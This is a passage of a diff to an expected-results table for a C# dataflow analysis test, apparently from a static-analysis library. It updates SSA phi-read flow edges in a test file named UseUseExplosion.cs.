+| UseUseExplosion.cs:24:2372:24:2372 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2383:24:2388 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2383:24:2388 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2383:24:2388 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2387:24:2387 | access to local variable x | UseUseExplosion.cs:24:2383:24:2388 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2398:24:2403 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2398:24:2403 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2387:24:2387 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2398:24:2403 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2398:24:2403 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2398:24:2403 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2402:24:2402 | access to local variable x | UseUseExplosion.cs:24:2398:24:2403 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2413:24:2418 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2413:24:2418 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2402:24:2402 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2413:24:2418 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2413:24:2418 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2413:24:2418 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2417:24:2417 | access to local variable x | UseUseExplosion.cs:24:2413:24:2418 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2428:24:2433 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2428:24:2433 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2417:24:2417 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2428:24:2433 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2428:24:2433 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2428:24:2433 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2432:24:2432 | access to local variable x | UseUseExplosion.cs:24:2428:24:2433 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2443:24:2448 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2443:24:2448 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2432:24:2432 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2443:24:2448 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2443:24:2448 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2443:24:2448 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2447:24:2447 | access to local variable x | UseUseExplosion.cs:24:2443:24:2448 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2458:24:2463 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2458:24:2463 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2447:24:2447 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2458:24:2463 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2458:24:2463 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2458:24:2463 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2462:24:2462 | access to local variable x | UseUseExplosion.cs:24:2458:24:2463 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2473:24:2478 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2473:24:2478 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2462:24:2462 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2473:24:2478 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2473:24:2478 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2473:24:2478 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2477:24:2477 | access to local variable x | UseUseExplosion.cs:24:2473:24:2478 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2488:24:2493 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2488:24:2493 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2477:24:2477 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2488:24:2493 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2488:24:2493 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2488:24:2493 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2492:24:2492 | access to local variable x | UseUseExplosion.cs:24:2488:24:2493 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2503:24:2508 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2503:24:2508 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2492:24:2492 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2503:24:2508 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2503:24:2508 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2503:24:2508 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2507:24:2507 | access to local variable x | UseUseExplosion.cs:24:2503:24:2508 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2518:24:2523 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2518:24:2523 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2507:24:2507 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2518:24:2523 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2518:24:2523 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2518:24:2523 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2522:24:2522 | access to local variable x | UseUseExplosion.cs:24:2518:24:2523 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2533:24:2538 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2533:24:2538 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2522:24:2522 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2533:24:2538 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2533:24:2538 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2533:24:2538 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2537:24:2537 | access to local variable x | UseUseExplosion.cs:24:2533:24:2538 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2548:24:2553 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2548:24:2553 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2537:24:2537 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2548:24:2553 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2548:24:2553 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2548:24:2553 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2552:24:2552 | access to local variable x | UseUseExplosion.cs:24:2548:24:2553 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2563:24:2568 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2563:24:2568 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2552:24:2552 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2563:24:2568 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2563:24:2568 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2563:24:2568 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2567:24:2567 | access to local variable x | UseUseExplosion.cs:24:2563:24:2568 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2578:24:2583 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2578:24:2583 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2567:24:2567 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2578:24:2583 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2578:24:2583 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2578:24:2583 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2582:24:2582 | access to local variable x | UseUseExplosion.cs:24:2578:24:2583 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2593:24:2598 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2593:24:2598 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2582:24:2582 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2593:24:2598 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2593:24:2598 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2593:24:2598 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2597:24:2597 | access to local variable x | UseUseExplosion.cs:24:2593:24:2598 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2608:24:2613 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2608:24:2613 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2597:24:2597 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2608:24:2613 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2608:24:2613 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2608:24:2613 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2612:24:2612 | access to local variable x | UseUseExplosion.cs:24:2608:24:2613 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2623:24:2628 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2623:24:2628 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2612:24:2612 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2623:24:2628 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2623:24:2628 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2623:24:2628 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2627:24:2627 | access to local variable x | UseUseExplosion.cs:24:2623:24:2628 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2638:24:2643 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2638:24:2643 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2627:24:2627 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2638:24:2643 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2638:24:2643 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2638:24:2643 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2642:24:2642 | access to local variable x | UseUseExplosion.cs:24:2638:24:2643 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2653:24:2658 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2653:24:2658 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2642:24:2642 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2653:24:2658 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2653:24:2658 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2653:24:2658 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2657:24:2657 | access to local variable x | UseUseExplosion.cs:24:2653:24:2658 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2668:24:2673 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2668:24:2673 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2657:24:2657 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2668:24:2673 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2668:24:2673 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2668:24:2673 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2672:24:2672 | access to local variable x | UseUseExplosion.cs:24:2668:24:2673 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2683:24:2688 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2683:24:2688 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2672:24:2672 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2683:24:2688 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2683:24:2688 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2683:24:2688 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2687:24:2687 | access to local variable x | UseUseExplosion.cs:24:2683:24:2688 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2698:24:2703 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2698:24:2703 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2687:24:2687 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2698:24:2703 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2698:24:2703 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2698:24:2703 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2702:24:2702 | access to local variable x | UseUseExplosion.cs:24:2698:24:2703 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2713:24:2718 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2713:24:2718 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2702:24:2702 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2713:24:2718 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2713:24:2718 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2713:24:2718 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2717:24:2717 | access to local variable x | UseUseExplosion.cs:24:2713:24:2718 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2728:24:2733 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2728:24:2733 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2717:24:2717 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2728:24:2733 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2728:24:2733 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2728:24:2733 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2732:24:2732 | access to local variable x | UseUseExplosion.cs:24:2728:24:2733 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2743:24:2748 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2743:24:2748 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2732:24:2732 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2743:24:2748 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2743:24:2748 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2743:24:2748 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2747:24:2747 | access to local variable x | UseUseExplosion.cs:24:2743:24:2748 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2758:24:2763 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2758:24:2763 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2747:24:2747 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2758:24:2763 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2758:24:2763 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2758:24:2763 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2762:24:2762 | access to local variable x | UseUseExplosion.cs:24:2758:24:2763 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2773:24:2778 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2773:24:2778 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2762:24:2762 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2773:24:2778 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2773:24:2778 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2773:24:2778 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2777:24:2777 | access to local variable x | UseUseExplosion.cs:24:2773:24:2778 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2788:24:2793 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2788:24:2793 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2777:24:2777 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2788:24:2793 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2788:24:2793 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2788:24:2793 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2792:24:2792 | access to local variable x | UseUseExplosion.cs:24:2788:24:2793 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2803:24:2808 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2803:24:2808 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2792:24:2792 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2803:24:2808 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2803:24:2808 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2803:24:2808 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2807:24:2807 | access to local variable x | UseUseExplosion.cs:24:2803:24:2808 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2818:24:2823 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2818:24:2823 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2807:24:2807 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2818:24:2823 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2818:24:2823 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2818:24:2823 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2822:24:2822 | access to local variable x | UseUseExplosion.cs:24:2818:24:2823 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2822:24:2822 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2833:24:2838 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2833:24:2838 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2837:24:2837 | access to local variable x | UseUseExplosion.cs:24:2833:24:2838 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2837:24:2837 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:2848:24:2853 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:2848:24:2853 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:2852:24:2852 | access to local variable x | UseUseExplosion.cs:24:2848:24:2853 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2852:24:2852 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:2863:24:2868 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
